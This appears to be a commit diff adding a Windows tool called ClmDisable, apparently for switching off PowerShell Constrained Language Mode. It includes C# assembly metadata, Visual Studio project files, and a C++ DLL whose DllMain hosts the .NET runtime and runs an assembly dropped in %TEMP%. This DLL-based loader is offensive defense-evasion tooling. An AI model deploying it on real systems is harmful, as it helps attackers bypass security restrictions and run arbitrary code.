||||
Console.WriteLine("[-] Approach #3 failed: " + e);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
+36
@@ -0,0 +1,36 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// Ogólne informacje o zestawie są kontrolowane poprzez następujący
|
||||
// zestaw atrybutów. Zmień wartości tych atrybutów, aby zmodyfikować informacje
|
||||
// powiązane z zestawem.
|
||||
[assembly: AssemblyTitle("ClmDisableAssembly")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("ClmDisableAssembly")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2019")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
|
||||
// Ustawienie elementu ComVisible na wartość false sprawia, że typy w tym zestawie są niewidoczne
|
||||
// dla składników COM. Jeśli potrzebny jest dostęp do typu w tym zestawie z
|
||||
// COM, ustaw wartość true dla atrybutu ComVisible tego typu.
|
||||
[assembly: ComVisible(false)]
|
||||
|
||||
// Następujący identyfikator GUID jest identyfikatorem biblioteki typów w przypadku udostępnienia tego projektu w modelu COM
|
||||
[assembly: Guid("5054c13f-1351-47b9-a6ca-25f4548f68a7")]
|
||||
|
||||
// Informacje o wersji zestawu zawierają następujące cztery wartości:
|
||||
//
|
||||
// Wersja główna
|
||||
// Wersja pomocnicza
|
||||
// Numer kompilacji
|
||||
// Rewizja
|
||||
//
|
||||
// Możesz określić wszystkie wartości lub użyć domyślnych numerów kompilacji i poprawki
|
||||
// przy użyciu symbolu „*”, tak jak pokazano poniżej:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
BIN
Binary file not shown.
@@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 15
|
||||
VisualStudioVersion = 15.0.28307.572
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ClmDisableDll", "ClmDisableDll.vcxproj", "{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}.Debug|x64.Build.0 = Debug|x64
|
||||
{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}.Debug|x86.Build.0 = Debug|Win32
|
||||
{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}.Release|x64.ActiveCfg = Release|x64
|
||||
{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}.Release|x64.Build.0 = Release|x64
|
||||
{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}.Release|x86.ActiveCfg = Release|Win32
|
||||
{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {1154B3D3-39A5-4687-A246-E70587D3BE81}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,145 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>15.0</VCProjectVersion>
|
||||
<ProjectGuid>{1FF6D4A0-E8D6-4D9F-AE57-FB0DCAE6F8A6}</ProjectGuid>
|
||||
<RootNamespace>ClmDisableDll</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup />
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>mscoree.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>mscoree.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AdditionalOptions> /GL /Os /GF /Gy /GA %(AdditionalOptions)</AdditionalOptions>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<CallingConvention>StdCall</CallingConvention>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>mscoree.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions>/OPT:REF /OPT:ICF /LTCG %(AdditionalOptions)</AdditionalOptions>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AdditionalOptions> /GL /Os /GF /Gy /GA %(AdditionalOptions)</AdditionalOptions>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<CallingConvention>StdCall</CallingConvention>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>mscoree.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions>/OPT:REF /OPT:ICF /LTCG %(AdditionalOptions)</AdditionalOptions>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.cpp" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,143 @@
|
||||
/**
|
||||
* This DLL hosts CLR4 environment from within a native binary. This way it is possible to
|
||||
* call .NET APIs from an unmanaged runtime.
|
||||
*
|
||||
* Mariusz B., mgeeky, 19'
|
||||
*
|
||||
**/
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <metahost.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#pragma comment(lib, "mscoree.lib")
|
||||
|
||||
//////////////////////////////////////////////////
|
||||
//
|
||||
// Specify below .NET assembly, main class to instantiate and parameters to pass there.
|
||||
|
||||
namespace CustomAssemblyParameters {
|
||||
LPCWSTR AssemblyName = L"%TEMP%\\ClmDisableAssembly.dll";
|
||||
LPCWSTR TypeName = L"ClmDisableAssembly.ClmDisableAssembly";
|
||||
LPCWSTR MethodName = L"Start";
|
||||
LPCWSTR Argument = L"(called from native CLR host)";
|
||||
}
|
||||
|
||||
//////////////////////////////////////////////////
|
||||
|
||||
#ifdef _DEBUG
|
||||
# define msg(x) MessageBoxW(nullptr, x, L"LoadCLRFromNativeDLL", 0)
|
||||
#else
|
||||
# define msg(x) ((void)0)
|
||||
#endif
|
||||
|
||||
void DoProcessAttach()
|
||||
{
|
||||
ICLRMetaHost *metaHost = nullptr;
|
||||
ICLRRuntimeInfo *runtimeInfo = nullptr;
|
||||
ICLRRuntimeHost *runtimeHost = nullptr;
|
||||
IEnumUnknown *runtime = nullptr;
|
||||
IUnknown *enumRuntime = nullptr;
|
||||
|
||||
LPWSTR frameworkName = nullptr;
|
||||
DWORD bytes = 2048;
|
||||
DWORD result = 0;
|
||||
|
||||
if (CLRCreateInstance(
|
||||
CLSID_CLRMetaHost,
|
||||
IID_ICLRMetaHost,
|
||||
reinterpret_cast<LPVOID*>(&metaHost)
|
||||
) != S_OK) {
|
||||
msg(L"FAIL: Could not create MetaHost CLR instance.");
|
||||
return;
|
||||
}
|
||||
|
||||
if (!metaHost || (metaHost->EnumerateInstalledRuntimes(
|
||||
&runtime
|
||||
) != S_OK)) {
|
||||
msg(L"FAIL: Cannot enumerate installed runtimes.");
|
||||
return;
|
||||
}
|
||||
|
||||
if (!runtime) {
|
||||
msg(L"FAIL: Could not find installed runtimes.");
|
||||
return;
|
||||
}
|
||||
|
||||
frameworkName = reinterpret_cast<LPWSTR>(LocalAlloc(
|
||||
LPTR,
|
||||
bytes
|
||||
));
|
||||
if (!frameworkName) {
|
||||
msg(L"FAIL: could not allocate 2048 bytes for framework name buffer.");
|
||||
return;
|
||||
}
|
||||
|
||||
while (runtime->Next(1, &enumRuntime, 0) == S_OK) {
|
||||
if (enumRuntime && (enumRuntime->QueryInterface<ICLRRuntimeInfo>(&runtimeInfo) == S_OK)) {
|
||||
if (runtimeInfo != nullptr) {
|
||||
runtimeInfo->GetVersionString(frameworkName, &bytes);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (runtimeInfo == nullptr || (runtimeInfo->GetInterface(
|
||||
CLSID_CLRRuntimeHost,
|
||||
IID_ICLRRuntimeHost,
|
||||
reinterpret_cast<LPVOID*>(&runtimeHost)
|
||||
) != S_OK)) {
|
||||
msg(L"FAIL: Could not get CLRRuntimeHost interface's reference.");
|
||||
return;
|
||||
}
|
||||
|
||||
if (runtimeHost == nullptr) {
|
||||
msg(L"FAIL: Could not obtain reference to CLRRuntimeHost.");
|
||||
return;
|
||||
}
|
||||
|
||||
runtimeHost->Start();
|
||||
|
||||
WCHAR assemblyPath[1024] = L"";
|
||||
ExpandEnvironmentStringsW(CustomAssemblyParameters::AssemblyName, assemblyPath, _countof(assemblyPath));
|
||||
LPCWSTR assemblyPathPtr = assemblyPath;
|
||||
|
||||
HRESULT hres = runtimeHost->ExecuteInDefaultAppDomain(
|
||||
assemblyPathPtr,
|
||||
CustomAssemblyParameters::TypeName,
|
||||
CustomAssemblyParameters::MethodName,
|
||||
CustomAssemblyParameters::Argument,
|
||||
&result
|
||||
);
|
||||
if (hres != S_OK) {
|
||||
wchar_t msgbuf[1024] = L"";
|
||||
swprintf_s(msgbuf, L"FAIL: Could not invoke custom .NET assembly, instantiate it's type or invoke a method. HRESULT = 0x%08x . Assembly path: '%s'", hres, assemblyPath);
|
||||
msg(msgbuf);
|
||||
}
|
||||
|
||||
//runtimeHost->Stop();
|
||||
//runtimeHost->Release();
|
||||
runtimeInfo->Release();
|
||||
metaHost->Release();
|
||||
}
|
||||
|
||||
BOOLEAN WINAPI DllMain(
|
||||
IN HINSTANCE /*hDllHandle*/,
|
||||
IN DWORD nReason,
|
||||
IN LPVOID /*Reserved*/
|
||||
)
|
||||
{
|
||||
switch (nReason)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
{
|
||||
DoProcessAttach();
|
||||
break;
|
||||
}
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Whitespace-only changes.
Reference in new issue
Block a user